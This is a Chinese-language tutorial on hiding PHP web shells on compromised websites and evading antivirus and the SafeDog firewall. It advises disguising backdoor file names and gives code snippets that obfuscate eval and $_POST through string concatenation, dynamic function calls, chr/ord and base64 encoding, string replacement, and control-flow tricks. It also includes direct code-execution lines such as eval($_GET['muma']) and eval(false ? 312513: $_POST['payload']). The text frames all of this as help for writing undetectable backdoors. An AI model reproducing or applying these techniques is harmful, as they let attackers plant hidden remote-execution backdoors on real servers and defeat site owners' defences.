對於網站木馬總重要的就是隱匿性和免殺.在說免殺之前,我想先說說有關於隱匿性的兩個小細節.
隱匿性:
1.木馬文件的命名
例如你不可能將木馬命名為backdoor.php或者muma.php等等,根據網站網頁命名的方式決定木馬文件的命名
2.上傳的木馬是否要使用參數加密
使用參數加密的木馬對於機器來說不容易識別,對於人來說卻十分容易識別,因為沒有一個正常的GET請求會對參數進行加密
不使用參數加密的木馬對於機器來說很容易識別,對人來說不太容易識別相對於使用參數加密的木馬來說.
最好的解決辦法是同時上傳這兩種木馬.
免殺:
免殺最重要的目的就是盡可能的減少靜態特征以及關鍵字的拼接
常用的免殺技巧:
1.字符串拼接
$a = ‘ev’;
$b = ‘al’;
$c = $a.$b;//eval
2.動態函數
$a = ‘eval’;
$b = ‘_GET’;
$a($$b[‘muma’]);//eval($_GET[‘muma’]);
3.進制轉換
chr(ascii)
$a = chr(61);//$a = ‘=’
ord(string)
$a = ord(‘=’);//$a = 61
$a = chr(36).chr(95).chr(ord(‘P’)).chr(ord(‘O’)).chr(ord(‘S’)).chr(84)
//$a = ‘$_POST’
4.類的繼承和構造方法
class guogou
{
public $adaa= 'afafaf';
function __construct()
{
echo "忽悠狗";
}
}
class gg extends guogou
{
public $a ;
public $b;
public $c;
public $dd ="1";
function __construct() //構造方法
{
/*
Do something
*/
}
function po($p)
{
$asdf = ‘忽悠安全狗’;
}
}
5.數組拼接和進制轉換四則運算靈活運用
$a = array(‘a’=>’P’,’b’=>36,’c’=>’_’,’d’=>’o’,’e’=>’S’,’f’=>’T’);
//大寫O與小寫o的ascii值相差32
$result = chr($a[‘b’]). $a[‘c’]. $a[‘a’]. chr(ord($a[‘d’])-32). $a[‘e’]. $a[‘f’];
//$result = ‘$_POST’
6.邏輯判斷木馬
eval(false ? 312513: $_POST['payload']);
7.base64編碼解碼
$a = base64_decode(‘JF9QT1NU’);//$a = ‘$_POST’
8.字符串替換
$a = ‘$_POgeTST’;
echo str_replace(‘geT’,’’,$a);//打印$_POST
9)注釋干擾
在代碼執行過程中隨意添加注釋
1.switch語句,if語句繞過
switch語句的特點是不遇到break就一直向下運行
switch(‘2’)
{
case ‘1’:
echo ‘something’;
break;
case ‘2’:
/*do something*/
case ‘3’:
$a = ‘$_POST’;
break;
default:
/*do something*/
}
注意第二個case ‘2’:的下面我並沒有添加break,所以switch從case ‘2’一直執行到default上面(到case ‘3’的break結束)
If判斷
If(false):
{/*do something*/}
else:
{$a = ‘$_POST’;}
If嵌套
If(true){
If(true){
$a = ‘$_POST’;
}
}
2.位運算
通過位運算可以構造任意字符,但是我並不推薦這種做法,畢竟沒有一個正常的php程序會用到這個東西.
注意:為了方便理解下面的免殺小馬,我用payload作為變量名,但是有些殺毒軟件會根據變量名進行查殺,請不要用$payload諸如此類的變量名.
在PHP中像chr(),ord(),str_replace()之類的內置函數(猥瑣函數)非常多,單個技巧並不能實現免殺,如何將這些技巧結合起來才是最重要的.
下面我以一個過安全狗的小馬為例,拋磚引玉,希望對大家編寫免殺木馬有所幫助.
成功躲避檢測.
下面是ma1.php的源代碼,只有短短的42行.
還有一些騷操作,比如文件包含,txt文檔放源碼,內存馬等等,每個人的思路都不一樣,多看看別人的免殺馬怎么寫的,你編寫木馬水平一定會提高。